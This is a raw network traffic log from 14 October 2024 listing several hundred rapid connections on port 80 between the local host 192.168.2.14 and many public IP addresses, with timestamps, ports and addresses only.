Oct 14, 2024 17:34:10.855016947 CEST	29626	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:10.855016947 CEST	29626	80	192.168.2.14	89.21.126.116
Oct 14, 2024 17:34:10.855017900 CEST	80	29626	193.14.240.77	192.168.2.14
Oct 14, 2024 17:34:10.855016947 CEST	29626	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:10.855031013 CEST	80	29626	4.20.103.182	192.168.2.14
Oct 14, 2024 17:34:10.855034113 CEST	29626	80	192.168.2.14	194.123.231.244
Oct 14, 2024 17:34:10.855040073 CEST	80	29626	189.202.27.135	192.168.2.14
Oct 14, 2024 17:34:10.855041027 CEST	29626	80	192.168.2.14	27.156.152.253
Oct 14, 2024 17:34:10.855050087 CEST	80	29626	130.144.228.118	192.168.2.14
Oct 14, 2024 17:34:10.855058908 CEST	80	29626	187.120.252.183	192.168.2.14
Oct 14, 2024 17:34:10.855062008 CEST	29626	80	192.168.2.14	193.14.240.77
Oct 14, 2024 17:34:10.855068922 CEST	80	29626	188.147.252.5	192.168.2.14
Oct 14, 2024 17:34:10.855071068 CEST	29626	80	192.168.2.14	130.144.228.118
Oct 14, 2024 17:34:10.855078936 CEST	29626	80	192.168.2.14	4.20.103.182
Oct 14, 2024 17:34:10.855079889 CEST	80	29626	205.180.95.44	192.168.2.14
Oct 14, 2024 17:34:10.855078936 CEST	29626	80	192.168.2.14	189.202.27.135
Oct 14, 2024 17:34:10.855089903 CEST	80	29626	211.76.58.110	192.168.2.14
Oct 14, 2024 17:34:10.855098963 CEST	29626	80	192.168.2.14	188.147.252.5
Oct 14, 2024 17:34:10.855099916 CEST	80	29626	173.184.66.231	192.168.2.14
Oct 14, 2024 17:34:10.855109930 CEST	80	29626	159.54.76.10	192.168.2.14
Oct 14, 2024 17:34:10.855118990 CEST	80	29626	74.161.242.25	192.168.2.14
Oct 14, 2024 17:34:10.855128050 CEST	80	29626	162.93.214.216	192.168.2.14
Oct 14, 2024 17:34:10.855129957 CEST	29626	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:10.855130911 CEST	29626	80	192.168.2.14	173.184.66.231
Oct 14, 2024 17:34:10.855132103 CEST	29626	80	192.168.2.14	187.120.252.183
Oct 14, 2024 17:34:10.855132103 CEST	80	29626	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:10.855132103 CEST	29626	80	192.168.2.14	205.180.95.44
Oct 14, 2024 17:34:10.855143070 CEST	80	29626	59.97.134.93	192.168.2.14
Oct 14, 2024 17:34:10.855144024 CEST	29626	80	192.168.2.14	159.54.76.10
Oct 14, 2024 17:34:10.855145931 CEST	29626	80	192.168.2.14	162.93.214.216
Oct 14, 2024 17:34:10.855163097 CEST	80	29626	115.51.250.229	192.168.2.14
Oct 14, 2024 17:34:10.855173111 CEST	80	29626	78.42.72.124	192.168.2.14
Oct 14, 2024 17:34:10.855175018 CEST	29626	80	192.168.2.14	59.97.134.93
Oct 14, 2024 17:34:10.855182886 CEST	80	29626	121.0.227.65	192.168.2.14
Oct 14, 2024 17:34:10.855190039 CEST	29626	80	192.168.2.14	74.161.242.25
Oct 14, 2024 17:34:10.855191946 CEST	29626	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:10.855191946 CEST	80	29626	112.247.197.61	192.168.2.14
Oct 14, 2024 17:34:10.855195999 CEST	29626	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:10.855201006 CEST	29626	80	192.168.2.14	78.42.72.124
Oct 14, 2024 17:34:10.855202913 CEST	80	29626	112.182.1.223	192.168.2.14
Oct 14, 2024 17:34:10.855212927 CEST	80	29626	76.233.57.173	192.168.2.14
Oct 14, 2024 17:34:10.855221033 CEST	29626	80	192.168.2.14	121.0.227.65
Oct 14, 2024 17:34:10.855222940 CEST	80	29626	62.158.153.79	192.168.2.14
Oct 14, 2024 17:34:10.855226040 CEST	29626	80	192.168.2.14	112.247.197.61
Oct 14, 2024 17:34:10.855232000 CEST	29626	80	192.168.2.14	112.182.1.223
Oct 14, 2024 17:34:10.855233908 CEST	80	29626	5.143.12.228	192.168.2.14
Oct 14, 2024 17:34:10.855243921 CEST	29626	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:10.855243921 CEST	80	29626	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:10.855253935 CEST	80	29626	110.104.117.231	192.168.2.14
Oct 14, 2024 17:34:10.855259895 CEST	29626	80	192.168.2.14	62.158.153.79
Oct 14, 2024 17:34:10.855262041 CEST	29626	80	192.168.2.14	5.143.12.228
Oct 14, 2024 17:34:10.855262995 CEST	80	29626	118.39.183.38	192.168.2.14
Oct 14, 2024 17:34:10.855267048 CEST	80	29626	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:10.855271101 CEST	80	29626	160.127.65.236	192.168.2.14
Oct 14, 2024 17:34:10.855278969 CEST	80	29626	223.97.180.227	192.168.2.14
Oct 14, 2024 17:34:10.855285883 CEST	29626	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:10.855288029 CEST	80	29626	134.100.91.77	192.168.2.14
Oct 14, 2024 17:34:10.855298042 CEST	80	29626	88.17.169.94	192.168.2.14
Oct 14, 2024 17:34:10.855308056 CEST	80	29626	147.133.121.129	192.168.2.14
Oct 14, 2024 17:34:10.855309010 CEST	29626	80	192.168.2.14	118.39.183.38
Oct 14, 2024 17:34:10.855309010 CEST	29626	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:10.855310917 CEST	29626	80	192.168.2.14	160.127.65.236
Oct 14, 2024 17:34:10.855312109 CEST	29626	80	192.168.2.14	110.104.117.231
Oct 14, 2024 17:34:10.855315924 CEST	80	29626	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:10.855324984 CEST	80	29626	141.245.229.176	192.168.2.14
Oct 14, 2024 17:34:10.855334044 CEST	80	29626	103.190.193.46	192.168.2.14
Oct 14, 2024 17:34:10.855334997 CEST	29626	80	192.168.2.14	88.17.169.94
Oct 14, 2024 17:34:10.855341911 CEST	29626	80	192.168.2.14	147.133.121.129
Oct 14, 2024 17:34:10.855343103 CEST	80	29626	83.75.118.219	192.168.2.14
Oct 14, 2024 17:34:10.855348110 CEST	29626	80	192.168.2.14	134.100.91.77
Oct 14, 2024 17:34:10.855348110 CEST	29626	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:10.855354071 CEST	80	29626	25.150.151.44	192.168.2.14
Oct 14, 2024 17:34:10.855356932 CEST	29626	80	192.168.2.14	141.245.229.176
Oct 14, 2024 17:34:10.855360985 CEST	29626	80	192.168.2.14	223.97.180.227
Oct 14, 2024 17:34:10.855365038 CEST	80	29626	61.0.111.114	192.168.2.14
Oct 14, 2024 17:34:10.855370998 CEST	29626	80	192.168.2.14	103.190.193.46
Oct 14, 2024 17:34:10.855370998 CEST	80	29626	34.0.0.31	192.168.2.14
Oct 14, 2024 17:34:10.855390072 CEST	80	29626	145.51.2.149	192.168.2.14
Oct 14, 2024 17:34:10.855391026 CEST	29626	80	192.168.2.14	83.75.118.219
Oct 14, 2024 17:34:10.855398893 CEST	29626	80	192.168.2.14	25.150.151.44
Oct 14, 2024 17:34:10.855415106 CEST	80	29626	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:10.855415106 CEST	29626	80	192.168.2.14	34.0.0.31
Oct 14, 2024 17:34:10.855416059 CEST	29626	80	192.168.2.14	61.0.111.114
Oct 14, 2024 17:34:10.855426073 CEST	80	29626	223.90.175.17	192.168.2.14
Oct 14, 2024 17:34:10.855428934 CEST	29626	80	192.168.2.14	145.51.2.149
Oct 14, 2024 17:34:10.855437040 CEST	80	29626	94.52.242.89	192.168.2.14
Oct 14, 2024 17:34:10.855446100 CEST	29626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:10.855478048 CEST	29626	80	192.168.2.14	223.90.175.17
Oct 14, 2024 17:34:10.855494022 CEST	29626	80	192.168.2.14	94.52.242.89
Oct 14, 2024 17:34:10.855585098 CEST	80	29626	78.198.116.91	192.168.2.14
Oct 14, 2024 17:34:10.855595112 CEST	80	29626	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:10.855603933 CEST	80	29626	36.90.161.9	192.168.2.14
Oct 14, 2024 17:34:10.855612993 CEST	80	29626	154.40.52.245	192.168.2.14
Oct 14, 2024 17:34:10.855621099 CEST	80	29626	53.212.153.150	192.168.2.14
Oct 14, 2024 17:34:10.855631113 CEST	80	29626	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:10.855633020 CEST	29626	80	192.168.2.14	78.198.116.91
Oct 14, 2024 17:34:10.855634928 CEST	29626	80	192.168.2.14	36.90.161.9
Oct 14, 2024 17:34:10.855638027 CEST	29626	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:10.855639935 CEST	80	29626	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:10.855642080 CEST	29626	80	192.168.2.14	154.40.52.245
Oct 14, 2024 17:34:10.855649948 CEST	80	29626	46.213.133.53	192.168.2.14
Oct 14, 2024 17:34:10.855659008 CEST	80	29626	36.186.91.48	192.168.2.14
Oct 14, 2024 17:34:10.855663061 CEST	29626	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:10.855668068 CEST	80	29626	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:10.855671883 CEST	80	29626	114.168.32.232	192.168.2.14
Oct 14, 2024 17:34:10.855680943 CEST	80	29626	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:10.855690002 CEST	80	29626	125.205.39.142	192.168.2.14
Oct 14, 2024 17:34:10.855694056 CEST	29626	80	192.168.2.14	53.212.153.150
Oct 14, 2024 17:34:10.855694056 CEST	80	29626	120.235.153.226	192.168.2.14
Oct 14, 2024 17:34:10.855694056 CEST	29626	80	192.168.2.14	46.213.133.53
Oct 14, 2024 17:34:10.855694056 CEST	29626	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:10.855694056 CEST	29626	80	192.168.2.14	114.168.32.232
Oct 14, 2024 17:34:10.855698109 CEST	80	29626	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:10.855699062 CEST	29626	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:10.855704069 CEST	80	29626	162.75.203.19	192.168.2.14
Oct 14, 2024 17:34:10.855714083 CEST	80	29626	179.94.112.177	192.168.2.14
Oct 14, 2024 17:34:10.855717897 CEST	29626	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:10.855726004 CEST	80	29626	139.135.199.65	192.168.2.14
Oct 14, 2024 17:34:10.855729103 CEST	29626	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:10.855731010 CEST	29626	80	192.168.2.14	120.235.153.226
Oct 14, 2024 17:34:10.855736017 CEST	80	29626	124.132.203.192	192.168.2.14
Oct 14, 2024 17:34:10.855740070 CEST	29626	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:10.855740070 CEST	29626	80	192.168.2.14	162.75.203.19
Oct 14, 2024 17:34:10.855746984 CEST	80	29626	84.156.166.12	192.168.2.14
Oct 14, 2024 17:34:10.855746984 CEST	29626	80	192.168.2.14	125.205.39.142
Oct 14, 2024 17:34:10.855746984 CEST	29626	80	192.168.2.14	179.94.112.177
Oct 14, 2024 17:34:10.855756044 CEST	80	29626	196.255.195.209	192.168.2.14
Oct 14, 2024 17:34:10.855762005 CEST	29626	80	192.168.2.14	139.135.199.65
Oct 14, 2024 17:34:10.855762005 CEST	29626	80	192.168.2.14	124.132.203.192
Oct 14, 2024 17:34:10.855766058 CEST	80	29626	25.113.143.7	192.168.2.14
Oct 14, 2024 17:34:10.855776072 CEST	80	29626	131.167.238.241	192.168.2.14
Oct 14, 2024 17:34:10.855779886 CEST	29626	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:10.855787992 CEST	80	29626	130.62.37.57	192.168.2.14
Oct 14, 2024 17:34:10.855792046 CEST	80	29626	125.154.218.151	192.168.2.14
Oct 14, 2024 17:34:10.855794907 CEST	29626	80	192.168.2.14	196.255.195.209
Oct 14, 2024 17:34:10.855803967 CEST	29626	80	192.168.2.14	25.113.143.7
Oct 14, 2024 17:34:10.855817080 CEST	80	29626	71.35.129.124	192.168.2.14
Oct 14, 2024 17:34:10.855819941 CEST	29626	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:10.855825901 CEST	80	29626	119.219.139.178	192.168.2.14
Oct 14, 2024 17:34:10.855829954 CEST	29626	80	192.168.2.14	125.154.218.151
Oct 14, 2024 17:34:10.855830908 CEST	29626	80	192.168.2.14	130.62.37.57
Oct 14, 2024 17:34:10.855838060 CEST	80	29626	179.135.69.78	192.168.2.14
Oct 14, 2024 17:34:10.855848074 CEST	80	29626	87.235.146.102	192.168.2.14
Oct 14, 2024 17:34:10.855850935 CEST	29626	80	192.168.2.14	71.35.129.124
Oct 14, 2024 17:34:10.855866909 CEST	29626	80	192.168.2.14	179.135.69.78
Oct 14, 2024 17:34:10.855868101 CEST	29626	80	192.168.2.14	119.219.139.178
Oct 14, 2024 17:34:10.855885983 CEST	29626	80	192.168.2.14	87.235.146.102
Oct 14, 2024 17:34:10.856408119 CEST	80	29626	210.227.107.79	192.168.2.14
Oct 14, 2024 17:34:10.856419086 CEST	80	29626	51.128.35.28	192.168.2.14
Oct 14, 2024 17:34:10.856429100 CEST	80	29626	220.113.62.119	192.168.2.14
Oct 14, 2024 17:34:10.856432915 CEST	80	29626	103.139.150.139	192.168.2.14
Oct 14, 2024 17:34:10.856441975 CEST	80	29626	115.47.248.251	192.168.2.14
Oct 14, 2024 17:34:10.856443882 CEST	29626	80	192.168.2.14	210.227.107.79
Oct 14, 2024 17:34:10.856451988 CEST	80	29626	45.86.215.195	192.168.2.14
Oct 14, 2024 17:34:10.856458902 CEST	29626	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:10.856460094 CEST	29626	80	192.168.2.14	220.113.62.119
Oct 14, 2024 17:34:10.856460094 CEST	80	29626	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:10.856466055 CEST	80	29626	194.205.16.227	192.168.2.14
Oct 14, 2024 17:34:10.856467962 CEST	29626	80	192.168.2.14	103.139.150.139
Oct 14, 2024 17:34:10.856473923 CEST	29626	80	192.168.2.14	115.47.248.251
Oct 14, 2024 17:34:10.856475115 CEST	80	29626	77.159.29.87	192.168.2.14
Oct 14, 2024 17:34:10.856486082 CEST	80	29626	95.47.200.226	192.168.2.14
Oct 14, 2024 17:34:10.856486082 CEST	29626	80	192.168.2.14	45.86.215.195
Oct 14, 2024 17:34:10.856494904 CEST	80	29626	213.100.205.114	192.168.2.14
Oct 14, 2024 17:34:10.856494904 CEST	29626	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:10.856496096 CEST	29626	80	192.168.2.14	194.205.16.227
Oct 14, 2024 17:34:10.856504917 CEST	80	29626	205.147.119.75	192.168.2.14
Oct 14, 2024 17:34:10.856508970 CEST	29626	80	192.168.2.14	77.159.29.87
Oct 14, 2024 17:34:10.856515884 CEST	80	29626	183.57.37.96	192.168.2.14
Oct 14, 2024 17:34:10.856522083 CEST	29626	80	192.168.2.14	95.47.200.226
Oct 14, 2024 17:34:10.856522083 CEST	29626	80	192.168.2.14	213.100.205.114
Oct 14, 2024 17:34:10.856524944 CEST	80	29626	222.204.47.231	192.168.2.14
Oct 14, 2024 17:34:10.856528997 CEST	80	29626	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:10.856537104 CEST	29626	80	192.168.2.14	205.147.119.75
Oct 14, 2024 17:34:10.856537104 CEST	80	29626	216.251.227.65	192.168.2.14
Oct 14, 2024 17:34:10.856542110 CEST	80	29626	83.98.205.147	192.168.2.14
Oct 14, 2024 17:34:10.856545925 CEST	80	29626	155.29.92.241	192.168.2.14
Oct 14, 2024 17:34:10.856549978 CEST	80	29626	219.202.142.173	192.168.2.14
Oct 14, 2024 17:34:10.856549978 CEST	29626	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:10.856563091 CEST	80	29626	52.186.86.108	192.168.2.14
Oct 14, 2024 17:34:10.856564999 CEST	29626	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:10.856568098 CEST	29626	80	192.168.2.14	83.98.205.147
Oct 14, 2024 17:34:10.856574059 CEST	80	29626	82.200.247.237	192.168.2.14
Oct 14, 2024 17:34:10.856583118 CEST	80	29626	96.175.251.118	192.168.2.14
Oct 14, 2024 17:34:10.856590986 CEST	29626	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:10.856590986 CEST	29626	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:10.856592894 CEST	29626	80	192.168.2.14	219.202.142.173
Oct 14, 2024 17:34:10.856592894 CEST	29626	80	192.168.2.14	155.29.92.241
Oct 14, 2024 17:34:10.856594086 CEST	80	29626	24.22.140.5	192.168.2.14
Oct 14, 2024 17:34:10.856602907 CEST	29626	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:10.856605053 CEST	80	29626	195.140.177.192	192.168.2.14
Oct 14, 2024 17:34:10.856610060 CEST	29626	80	192.168.2.14	96.175.251.118
Oct 14, 2024 17:34:10.856610060 CEST	29626	80	192.168.2.14	52.186.86.108
Oct 14, 2024 17:34:10.856616020 CEST	80	29626	39.152.22.181	192.168.2.14
Oct 14, 2024 17:34:10.856623888 CEST	80	29626	65.17.82.35	192.168.2.14
Oct 14, 2024 17:34:10.856630087 CEST	29626	80	192.168.2.14	24.22.140.5
Oct 14, 2024 17:34:10.856632948 CEST	80	29626	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:10.856632948 CEST	29626	80	192.168.2.14	195.140.177.192
Oct 14, 2024 17:34:10.856643915 CEST	80	29626	188.102.90.35	192.168.2.14
Oct 14, 2024 17:34:10.856650114 CEST	29626	80	192.168.2.14	39.152.22.181
Oct 14, 2024 17:34:10.856652021 CEST	29626	80	192.168.2.14	65.17.82.35
Oct 14, 2024 17:34:10.856653929 CEST	80	29626	179.243.100.148	192.168.2.14
Oct 14, 2024 17:34:10.856662989 CEST	80	29626	217.202.74.124	192.168.2.14
Oct 14, 2024 17:34:10.856673002 CEST	80	29626	19.180.62.161	192.168.2.14
Oct 14, 2024 17:34:10.856674910 CEST	29626	80	192.168.2.14	188.102.90.35
Oct 14, 2024 17:34:10.856681108 CEST	80	29626	188.151.101.126	192.168.2.14
Oct 14, 2024 17:34:10.856683969 CEST	29626	80	192.168.2.14	179.243.100.148
Oct 14, 2024 17:34:10.856683969 CEST	29626	80	192.168.2.14	217.202.74.124
Oct 14, 2024 17:34:10.856690884 CEST	80	29626	1.23.69.72	192.168.2.14
Oct 14, 2024 17:34:10.856699944 CEST	80	29626	13.221.127.199	192.168.2.14
Oct 14, 2024 17:34:10.856707096 CEST	29626	80	192.168.2.14	19.180.62.161
Oct 14, 2024 17:34:10.856708050 CEST	80	29626	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:10.856717110 CEST	29626	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:10.856718063 CEST	80	29626	122.159.191.31	192.168.2.14
Oct 14, 2024 17:34:10.856724977 CEST	29626	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:10.856728077 CEST	80	29626	222.129.54.144	192.168.2.14
Oct 14, 2024 17:34:10.856730938 CEST	29626	80	192.168.2.14	1.23.69.72
Oct 14, 2024 17:34:10.856730938 CEST	29626	80	192.168.2.14	13.221.127.199
Oct 14, 2024 17:34:10.856741905 CEST	80	29626	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:10.856748104 CEST	29626	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:10.856748104 CEST	29626	80	192.168.2.14	122.159.191.31
Oct 14, 2024 17:34:10.856750965 CEST	80	29626	58.0.13.163	192.168.2.14
Oct 14, 2024 17:34:10.856760979 CEST	80	29626	69.215.22.231	192.168.2.14
Oct 14, 2024 17:34:10.856769085 CEST	29626	80	192.168.2.14	222.129.54.144
Oct 14, 2024 17:34:10.856769085 CEST	80	29626	183.17.39.63	192.168.2.14
Oct 14, 2024 17:34:10.856770039 CEST	29626	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:10.856774092 CEST	80	29626	41.160.73.54	192.168.2.14
Oct 14, 2024 17:34:10.856777906 CEST	80	29626	170.3.182.62	192.168.2.14
Oct 14, 2024 17:34:10.856781960 CEST	80	29626	38.167.16.183	192.168.2.14
Oct 14, 2024 17:34:10.856785059 CEST	80	29626	145.152.55.80	192.168.2.14
Oct 14, 2024 17:34:10.856786966 CEST	29626	80	192.168.2.14	58.0.13.163
Oct 14, 2024 17:34:10.856797934 CEST	80	29626	46.156.11.91	192.168.2.14
Oct 14, 2024 17:34:10.856805086 CEST	29626	80	192.168.2.14	69.215.22.231
Oct 14, 2024 17:34:10.856807947 CEST	29626	80	192.168.2.14	41.160.73.54
Oct 14, 2024 17:34:10.856810093 CEST	80	29626	52.4.177.89	192.168.2.14
Oct 14, 2024 17:34:10.856817961 CEST	29626	80	192.168.2.14	170.3.182.62
Oct 14, 2024 17:34:10.856817961 CEST	29626	80	192.168.2.14	38.167.16.183
Oct 14, 2024 17:34:10.856818914 CEST	80	29626	62.143.68.208	192.168.2.14
Oct 14, 2024 17:34:10.856817961 CEST	29626	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:10.856833935 CEST	80	29626	149.57.79.251	192.168.2.14
Oct 14, 2024 17:34:10.856837988 CEST	29626	80	192.168.2.14	183.17.39.63
Oct 14, 2024 17:34:10.856841087 CEST	29626	80	192.168.2.14	46.156.11.91
Oct 14, 2024 17:34:10.856841087 CEST	29626	80	192.168.2.14	52.4.177.89
Oct 14, 2024 17:34:10.856843948 CEST	80	29626	100.24.3.25	192.168.2.14
Oct 14, 2024 17:34:10.856848001 CEST	80	29626	202.49.93.64	192.168.2.14
Oct 14, 2024 17:34:10.856857061 CEST	29626	80	192.168.2.14	62.143.68.208
Oct 14, 2024 17:34:10.856858015 CEST	80	29626	107.55.101.37	192.168.2.14
Oct 14, 2024 17:34:10.856868029 CEST	80	29626	36.14.207.152	192.168.2.14
Oct 14, 2024 17:34:10.856875896 CEST	29626	80	192.168.2.14	149.57.79.251
Oct 14, 2024 17:34:10.856878042 CEST	80	29626	12.42.128.126	192.168.2.14
Oct 14, 2024 17:34:10.856883049 CEST	80	29626	154.190.211.241	192.168.2.14
Oct 14, 2024 17:34:10.856883049 CEST	29626	80	192.168.2.14	202.49.93.64
Oct 14, 2024 17:34:10.856884003 CEST	29626	80	192.168.2.14	100.24.3.25
Oct 14, 2024 17:34:10.856893063 CEST	80	29626	137.40.222.110	192.168.2.14
Oct 14, 2024 17:34:10.856901884 CEST	80	29626	104.2.91.171	192.168.2.14
Oct 14, 2024 17:34:10.856901884 CEST	29626	80	192.168.2.14	36.14.207.152
Oct 14, 2024 17:34:10.856911898 CEST	80	29626	168.199.244.45	192.168.2.14
Oct 14, 2024 17:34:10.856920958 CEST	80	29626	79.180.122.207	192.168.2.14
Oct 14, 2024 17:34:10.856926918 CEST	29626	80	192.168.2.14	137.40.222.110
Oct 14, 2024 17:34:10.856930971 CEST	29626	80	192.168.2.14	154.190.211.241
Oct 14, 2024 17:34:10.856930971 CEST	80	29626	18.239.24.15	192.168.2.14
Oct 14, 2024 17:34:10.856940985 CEST	29626	80	192.168.2.14	104.2.91.171
Oct 14, 2024 17:34:10.856942892 CEST	29626	80	192.168.2.14	107.55.101.37
Oct 14, 2024 17:34:10.856942892 CEST	29626	80	192.168.2.14	12.42.128.126
Oct 14, 2024 17:34:10.856944084 CEST	80	29626	49.247.169.27	192.168.2.14
Oct 14, 2024 17:34:10.856949091 CEST	29626	80	192.168.2.14	168.199.244.45
Oct 14, 2024 17:34:10.856954098 CEST	80	29626	213.66.44.136	192.168.2.14
Oct 14, 2024 17:34:10.856957912 CEST	29626	80	192.168.2.14	79.180.122.207
Oct 14, 2024 17:34:10.856962919 CEST	80	29626	64.99.76.165	192.168.2.14
Oct 14, 2024 17:34:10.856962919 CEST	29626	80	192.168.2.14	18.239.24.15
Oct 14, 2024 17:34:10.856978893 CEST	80	29626	117.104.225.73	192.168.2.14
Oct 14, 2024 17:34:10.856981993 CEST	29626	80	192.168.2.14	49.247.169.27
Oct 14, 2024 17:34:10.856983900 CEST	29626	80	192.168.2.14	213.66.44.136
Oct 14, 2024 17:34:10.856988907 CEST	80	29626	47.132.173.97	192.168.2.14
Oct 14, 2024 17:34:10.856992960 CEST	80	29626	145.221.130.58	192.168.2.14
Oct 14, 2024 17:34:10.857000113 CEST	29626	80	192.168.2.14	64.99.76.165
Oct 14, 2024 17:34:10.857002974 CEST	80	29626	58.46.252.242	192.168.2.14
Oct 14, 2024 17:34:10.857012987 CEST	80	29626	209.203.187.86	192.168.2.14
Oct 14, 2024 17:34:10.857014894 CEST	29626	80	192.168.2.14	47.132.173.97
Oct 14, 2024 17:34:10.857023954 CEST	80	29626	97.29.107.228	192.168.2.14
Oct 14, 2024 17:34:10.857027054 CEST	29626	80	192.168.2.14	117.104.225.73
Oct 14, 2024 17:34:10.857036114 CEST	80	29626	222.222.61.13	192.168.2.14
Oct 14, 2024 17:34:10.857045889 CEST	80	29626	216.158.50.7	192.168.2.14
Oct 14, 2024 17:34:10.857054949 CEST	29626	80	192.168.2.14	97.29.107.228
Oct 14, 2024 17:34:10.857055902 CEST	80	29626	97.242.49.182	192.168.2.14
Oct 14, 2024 17:34:10.857065916 CEST	80	29626	57.93.140.108	192.168.2.14
Oct 14, 2024 17:34:10.857074976 CEST	80	29626	104.161.198.99	192.168.2.14
Oct 14, 2024 17:34:10.857089996 CEST	80	29626	75.183.76.249	192.168.2.14
Oct 14, 2024 17:34:10.857089996 CEST	29626	80	192.168.2.14	145.221.130.58
Oct 14, 2024 17:34:10.857091904 CEST	29626	80	192.168.2.14	97.242.49.182
Oct 14, 2024 17:34:10.857093096 CEST	29626	80	192.168.2.14	58.46.252.242
Oct 14, 2024 17:34:10.857093096 CEST	29626	80	192.168.2.14	216.158.50.7
Oct 14, 2024 17:34:10.857093096 CEST	29626	80	192.168.2.14	209.203.187.86
Oct 14, 2024 17:34:10.857093096 CEST	29626	80	192.168.2.14	222.222.61.13
Oct 14, 2024 17:34:10.857095957 CEST	29626	80	192.168.2.14	57.93.140.108
Oct 14, 2024 17:34:10.857099056 CEST	80	29626	27.170.96.34	192.168.2.14
Oct 14, 2024 17:34:10.857108116 CEST	80	29626	213.251.243.13	192.168.2.14
Oct 14, 2024 17:34:10.857117891 CEST	29626	80	192.168.2.14	104.161.198.99
Oct 14, 2024 17:34:10.857120991 CEST	80	29626	143.165.196.19	192.168.2.14
Oct 14, 2024 17:34:10.857122898 CEST	29626	80	192.168.2.14	75.183.76.249
Oct 14, 2024 17:34:10.857129097 CEST	29626	80	192.168.2.14	27.170.96.34
Oct 14, 2024 17:34:10.857132912 CEST	80	29626	42.31.114.192	192.168.2.14
Oct 14, 2024 17:34:10.857141972 CEST	80	29626	220.141.117.197	192.168.2.14
Oct 14, 2024 17:34:10.857145071 CEST	29626	80	192.168.2.14	213.251.243.13
Oct 14, 2024 17:34:10.857151031 CEST	29626	80	192.168.2.14	143.165.196.19
Oct 14, 2024 17:34:10.857151985 CEST	80	29626	19.47.67.86	192.168.2.14
Oct 14, 2024 17:34:10.857158899 CEST	29626	80	192.168.2.14	42.31.114.192
Oct 14, 2024 17:34:10.857158899 CEST	80	29626	69.10.83.116	192.168.2.14
Oct 14, 2024 17:34:10.857170105 CEST	80	29626	106.163.254.64	192.168.2.14
Oct 14, 2024 17:34:10.857182026 CEST	80	29626	177.76.216.91	192.168.2.14
Oct 14, 2024 17:34:10.857186079 CEST	29626	80	192.168.2.14	220.141.117.197
Oct 14, 2024 17:34:10.857191086 CEST	29626	80	192.168.2.14	69.10.83.116
Oct 14, 2024 17:34:10.857191086 CEST	80	29626	84.203.80.231	192.168.2.14
Oct 14, 2024 17:34:10.857198954 CEST	29626	80	192.168.2.14	19.47.67.86
Oct 14, 2024 17:34:10.857202053 CEST	80	29626	20.234.154.16	192.168.2.14
Oct 14, 2024 17:34:10.857206106 CEST	29626	80	192.168.2.14	106.163.254.64
Oct 14, 2024 17:34:10.857206106 CEST	29626	80	192.168.2.14	177.76.216.91
Oct 14, 2024 17:34:10.857213020 CEST	80	29626	212.159.111.210	192.168.2.14
Oct 14, 2024 17:34:10.857218027 CEST	29626	80	192.168.2.14	84.203.80.231
Oct 14, 2024 17:34:10.857223034 CEST	80	29626	190.132.200.248	192.168.2.14
Oct 14, 2024 17:34:10.857228994 CEST	29626	80	192.168.2.14	20.234.154.16
Oct 14, 2024 17:34:10.857234001 CEST	80	29626	207.238.100.118	192.168.2.14
Oct 14, 2024 17:34:10.857244015 CEST	80	29626	91.232.39.33	192.168.2.14
Oct 14, 2024 17:34:10.857253075 CEST	80	29626	211.204.197.136	192.168.2.14
Oct 14, 2024 17:34:10.857254982 CEST	29626	80	192.168.2.14	212.159.111.210
Oct 14, 2024 17:34:10.857258081 CEST	29626	80	192.168.2.14	190.132.200.248
Oct 14, 2024 17:34:10.857263088 CEST	29626	80	192.168.2.14	207.238.100.118
Oct 14, 2024 17:34:10.857270956 CEST	29626	80	192.168.2.14	91.232.39.33
Oct 14, 2024 17:34:10.857270956 CEST	80	29626	144.147.254.8	192.168.2.14
Oct 14, 2024 17:34:10.857274055 CEST	29626	80	192.168.2.14	211.204.197.136
Oct 14, 2024 17:34:10.857285023 CEST	80	29626	75.106.128.151	192.168.2.14
Oct 14, 2024 17:34:10.857294083 CEST	80	29626	181.242.47.175	192.168.2.14
Oct 14, 2024 17:34:10.857304096 CEST	80	29626	223.139.43.20	192.168.2.14
